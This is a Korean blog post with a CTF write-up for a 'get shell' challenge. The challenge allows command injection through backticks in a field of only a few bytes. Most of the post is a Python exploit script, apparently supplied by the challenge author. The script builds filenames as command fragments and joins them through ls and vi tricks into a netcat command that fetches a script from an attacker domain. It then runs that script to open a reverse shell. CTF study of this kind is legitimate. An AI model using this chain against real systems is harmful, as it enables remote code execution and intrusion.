카테고리 없음

get shell 문제 라업

이게뭐에요? 2026. 2. 22. 17:04

문제 컨셉 
접근 가능 기능 x
`` ( 백틱) 을 사용하면 cmi 가능
divice tag 라는 곳에 6바이트 이내 ( 백틱 쓰면 사실상 4바이트 내에서 뭔가를 해야됨 ) 
 
바로 이전문제인 read flag 에서는 ls / 즉 루트 디렉토리에 플래그 파일 존재
 
ls 가 비어있다 -> `<cat` 하면 cat 나오고  `* /*` 하면 ( 모든 파일 ( 하나 ) ) 즉 cat 이 실행되므로 플래그 읽을수있는데
 
이번 문제는 read flag 의 revange 문제이므로 방금 전 방법은 readme. txt 파일 존재로 사용불가 ( 알파벳순으로 cat 한다고 한다 )
 
 
메모
 
 
일단은 4바이트 내에서 리버스쉘을 따는 문제라고 한다
 
아이디어 
4바이트로 파일생성 -> ls 등 넣을수 있음 -> 아스키 사용 가능 -> 개행문자 들어가면 저장 된다하는데 vi트릭으로 제거후에 뭔가를 구성하고 뭔가를 한다
 
 
 

import time
import requests
from bs4 import BeautifulSoup

URL = 'http://prob-server.com'

sess = requests.Session()

def decode_od(od_output):
    import struct
    result = b''
    for line in od_output.strip().split('\n'):
        parts = line.split()
        if len(parts) < 2:
            continue
        for octal_word in parts[1:]:
            try:
                word = int(octal_word, 8)
                result += struct.pack('<H', word)
            except ValueError:
                continue
    return result

def debug_od():
    print("-"*25 + "[+] DEBUG : $ od } " + "-"*25)
    res = sess.post(URL, data={'tag': '`od }`'})
    soup = BeautifulSoup(res.text, 'html.parser')
    toast_msg = soup.select_one('.toast-msg')
    if toast_msg:
        text = toast_msg.get_text()
        if 'DEVICE : ' in text:
            od_output = text.split('DEVICE : ', 1)[1]
            print(od_output)
            print("\n[+] Decoded : ")
            print(decode_od(od_output).decode('ascii', errors='replace'))
        else:
            print('[-] file \'}\' not found.')
            od_output = text
    print("-"*69+'\n\n')

def debug_ls():
    print("="*25 + "[+] DEBUG : $ ls " + "="*25)
    res = sess.post(URL, data={'tag': '`ls`'})
    soup = BeautifulSoup(res.text, 'html.parser')
    toast_msg = soup.select_one('.toast-msg')
    if toast_msg:
        text = toast_msg.get_text()
        if 'DEVICE : ' in text:
            od_output = text.split('DEVICE : ', 1)[1]
            print(od_output)
    print("="*69+'\n\n')    

def create(file):
    data = {'tag': '`>' + file + '`'}
    print("[+] Payload : " + str(data))
    sess.post(URL, data=data)
    debug_ls()
    debug_od()

def remove(file):
    data = {'tag': '`rm ' + file + '`'}
    print("[+] Payload : " + str(data))
    sess.post(URL, data=data)
    debug_ls()
    debug_od()

def run(id):
    data = {'tag': '`' + id + '`'}
    print("[+] Payload : " + str(data))
    sess.post(URL, data=data)
    debug_ls()
    debug_od()

def reset():
    data = {'tag': '`rm *`'}
    print("[+] Payload : " + str(data))
    sess.post(URL, data=data)
    debug_ls()
    debug_od()

# ================================================================
# [STEP 0] 샌드박스 초기화
# 이전 시도에서 남은 파일들을 전부 삭제해서 깨끗한 상태에서 시작
# ================================================================
reset()

# ================================================================
# [STEP 1] RCE 명령어 조각을 파일명으로 생성
#
# 최종 목표: } 파일에 "nc h12h13h4hh.im mon>z;" 를 만드는 것
#   → nc로 공격자 도메인(h12h13h4hh.im)에 접속
#   → 포트 mon (서비스명 또는 별칭)
#   → 받은 데이터를 z 파일에 저장 (n>z), 세미콜론으로 명령 종료
#
# 파일명은 ls가 ASCII 정렬하므로, 정렬 순서가 곧 명령어 순서:
#   " n" → "c" → "h " → "h12" → "h13" → "h4" → "hh." → "i" → "m " → "mo" → "n>" → "z;"
#
# 이어붙이면: " nch h12h13h4hh.im mon>z;"
#   → 앞 공백 무해, "nch"의 여분 h는 나중에 제거
#
# 왜 지금? → } 파일에 ls 결과를 담기 전에 모든 조각이 준비되어야 함
# ================================================================
for payloads in [r"\ n", "c", r"h\ ", "h12", "h13", "h4", "hh.", "i", r"m\ ", "mo", r"n\>", r"z\;"]:
    create(payloads)

# ================================================================
# [STEP 2] ls > } : 파일 목록을 ASCII 정렬해서 } 파일에 저장
#
# 왜 지금? → 위에서 모든 RCE 조각 파일을 만들었으므로,
#   이 시점에 ls를 하면 정확히 원하는 조각들이 정렬되어 } 에 기록됨
#
# 왜 }? →
#   1. ASCII 값이 0x7D로 거의 맨 끝 → ls 출력 맨 마지막에 위치해서 명령어 방해 안 함
#   2. vi에서 :e} (3글자)로 열 수 있음 (일반 이름이면 :e f 로 4글자 → 길이 초과)
#
# } 파일 내용 (이 시점):
#   " n\nc\nh \nh12\nh13\nh4\nhh.\ni\nm \nmo\nn>\nz;\n}\n"
# ================================================================
run('ls>}')

# ================================================================
# [STEP 3] vi를 방해하는 파일 삭제
#
# 왜 지금? → } 파일에는 이미 기록 완료. 이제 vi<l 로 줄을 합칠 건데,
#   ls 출력에 "i"와 "c"가 있으면 vi 명령어로 해석되어 문제 발생:
#   - "i" → vi insert 모드 진입 → 이후 gJ 등이 텍스트로 입력됨 (치명적)
#   - "c" → vi change 명령 → join 과정을 중단시킴
#
# ls>} 전에 삭제하면? → } 파일에 "i"와 "c" 조각이 안 들어가서
#   최종 명령어가 " n h h12h13h4hh. m mon>z;" 가 되어 nc 명령이 깨짐
#   → 그래서 반드시 ls>} 이후에 삭제해야 함
#
# c를 삭제하면 "nc" 조립이 깨지지 않나? → } 파일은 이미 저장됨.
#   다만 c 삭제 때문에 "n"과 "h " 사이에 직접 "c"가 없어서
#   원래 " n" + "c" + "h " = " nch " 에서 h가 하나 남음
#   → STEP 6에서 vi의 fhx 명령으로 제거 예정
# ================================================================
remove('i')
remove('c')

# ================================================================
# [STEP 4] vi 명령어 조각을 파일명으로 생성
#
# 왜 지금? → STEP 5에서 ls>l 로 vi 스크립트를 만들 건데,
#   그 전에 vi 명령어 파일들이 디렉토리에 존재해야 ls에 포함됨
#
# :e}  → vi ex명령: } 파일을 편집 버퍼로 열기
# gJ   → vi 노멀명령: 현재 줄 + 다음 줄을 공백 없이 합치기
# ~ZZ  → ~(대소문자 토글, 무해) + ZZ(저장 후 종료)
#
# 이 파일들은 ls 정렬 시:
#   " n" < ":e}" < "gJ" < "h " < ... < "}" < "~ZZ"
#   → :e} 가 먼저 실행되고, gJ로 합치고, ~ZZ로 저장종료
#     중간의 RCE 조각들(h , h12 등)은 vi에서 커서 이동(h=왼쪽) 등으로 해석되어 무해
# ================================================================
create(':e}')
create('gJ')
create('~ZZ')

# ================================================================
# [STEP 5] ls > l 후 vi < l 을 11번 반복
#
# ls > l : 현재 디렉토리 파일 목록을 l 파일에 저장
#   왜 지금? → :e}, gJ, ~ZZ 파일을 만든 직후라 ls에 포함됨
#             i, c는 삭제된 상태라 ls에 안 나옴 → vi 방해 없음
#
# l 파일 내용 (ASCII 정렬):
#   " n\n:e}\ngJ\nh \nh12\nh13\nh4\nhh.\nl\nm \nmo\nn>\nz;\n}\n~ZZ\n"
#
# vi < l : vi에 l 파일을 stdin으로 넘기면 각 줄을 명령어로 실행:
#   " n"  → 공백+n: 커서 아래로 이동 후 다음 줄 첫 글자로 (무해)
#   ":e}" → } 파일을 편집 버퍼에 로드
#   "gJ"  → 현재 줄과 다음 줄을 공백 없이 합침 (1회에 2줄 → 1줄)
#   "h "  → 커서 왼쪽 이동 (무해)
#   "h12" → h=왼쪽이동, 12=12번 반복 (무해)
#   ... 나머지 RCE 조각들도 vi에서 무해한 커서 이동으로 해석됨
#   "}"   → 다음 빈 줄로 이동 (무해)
#   "~ZZ" → 저장 후 종료
#
# gJ가 한 번에 2줄만 합치므로, } 파일이 13줄이면
#   11번 반복해야 1줄로 완성됨 (매번 줄 수가 1개씩 줄어듦)
#
# vi<l 실행 과정 (} 파일 변화):
#   1회 후: " nc\nh \nh12\n..."         ← 1번째+2번째 줄 합침
#   2회 후: " nch \nh12\nh13\n..."      ← 또 2줄 합침
#   3회 후: " nch h12\nh13\nh4\n..."
#   4회 후: " nch h12h13\nh4\nhh.\n..."
#   ...
#   11회 후: " nch h12h13h4hh.im mon>z;\n}\n"  ← 거의 완성
# ================================================================
run('ls>l')

run('vi<l')   # } 파일: 줄 2개 합침 (13줄→12줄)
run('vi<l')   # 12줄→11줄
run('vi<l')   # 11줄→10줄
run('vi<l')   # 10줄→9줄
run('vi<l')   # 9줄→8줄
run('vi<l')   # 8줄→7줄
run('vi<l')   # 7줄→6줄
run('vi<l')   # 6줄→5줄
run('vi<l')   # 5줄→4줄
run('vi<l')   # 4줄→3줄
run('vi<l')   # 3줄→2줄: " nch h12h13h4hh.im mon>z;\n}\n"

# ================================================================
# [STEP 6] 여분의 h 제거
#
# 현재 } 파일: " nch h12h13h4hh.im mon>z;\n}\n"
#   → "nch"인데 "nc"여야 함. c 파일을 STEP 3에서 삭제했기 때문에
#     원래 "c" 자리가 비면서 " n" + "h " 가 바로 붙어 "nch"가 됨
#
# fhx 파일 생성 → vi 명령어로 해석:
#   f  → 현재 줄에서 다음 문자 찾기
#   h  → 찾을 대상 = 'h'
#   x  → 찾은 문자 삭제
#   → 결과: } 파일 첫 줄에서 첫 번째 'h'(= "nch"의 h)를 삭제
#
# 왜 지금? → 11번 join이 끝나서 거의 완성된 상태에서
#   마지막으로 불필요한 h 하나만 제거하면 됨
#   먼저 하면 gJ join 과정에서 fhx가 의도치 않은 위치의 h를 삭제할 수 있음
# ================================================================
create('fhx')

# ================================================================
# [STEP 6-2] 다시 ls > l → vi < l 로 fhx 실행
#
# 왜 다시 ls>l? → fhx 파일이 새로 추가되었으므로
#   ls 출력이 갱신됨. 새 l 파일에 fhx가 포함되어야 vi가 실행 가능
#
# vi < l 실행 시:
#   :e} → } 파일 열기
#   fhx → 첫 번째 h 찾아서 삭제: "nch" → "nc"
#   gJ  → 남은 "}\n" 줄과 합침 (이미 거의 1줄이라 큰 변화 없음)
#   ~ZZ → 저장 종료
#
# 결과: } 파일 = " nc h12h13h4hh.im mon>z;\n"  ← 완성!
# ================================================================
run('ls>l')
run('vi<l')

# ================================================================
# [STEP 7] 페이로드 서빙 & 실행
#
# sh } : } 파일을 셸 스크립트로 실행
#   → "nc h12h13h4hh.im mon>z;" 실행
#   → 공격자 서버(h12h13h4hh.im)에 nc(netcat)로 접속
#   → 포트 mon 으로 연결
#   → 서버가 보내주는 리버스 셸 스크립트를 z 파일에 저장 (>z 리다이렉션)
#   → 세미콜론(;)으로 명령 종료
#
# 왜 sleep(3)? → nc 연결 + 서버가 페이로드를 전송할 시간 확보
#   z 파일에 완전히 쓰여지기 전에 sh z 하면 실패할 수 있음
# ================================================================
print("[+] serving payload...")
time.sleep(3)
run('sh }')

# ================================================================
# [STEP 8] 리버스 셸 획득
#
# sh z : z 파일을 셸 스크립트로 실행
#   → STEP 7에서 공격자 서버가 보내준 셸 스크립트가 z에 저장되어 있음
#   → 이걸 실행하면 공격자에게 리버스 셸이 연결됨
#
# 왜 2단계로 나눔? → nc 명령어 자체로는 대화형 셸을 직접 열기 어려움
#   1단계(sh }): nc로 접속해서 셸 스크립트를 다운로드
#   2단계(sh z): 다운로드한 스크립트 실행 → 본격적인 리버스 셸
# ================================================================
print("[+] get reverse shell...")
run('sh z')

일단 출제자가 주신 라업 + 익스 코드이다
 
포트 번호는 문자로 쓸 필요가 없고 문자열로 할 수 있다고한다 ( 즉 리버스쉘에 숫자 하나도 안들어가고 가능 )
 
 
모르겠고 리눅스 공부 해야될듯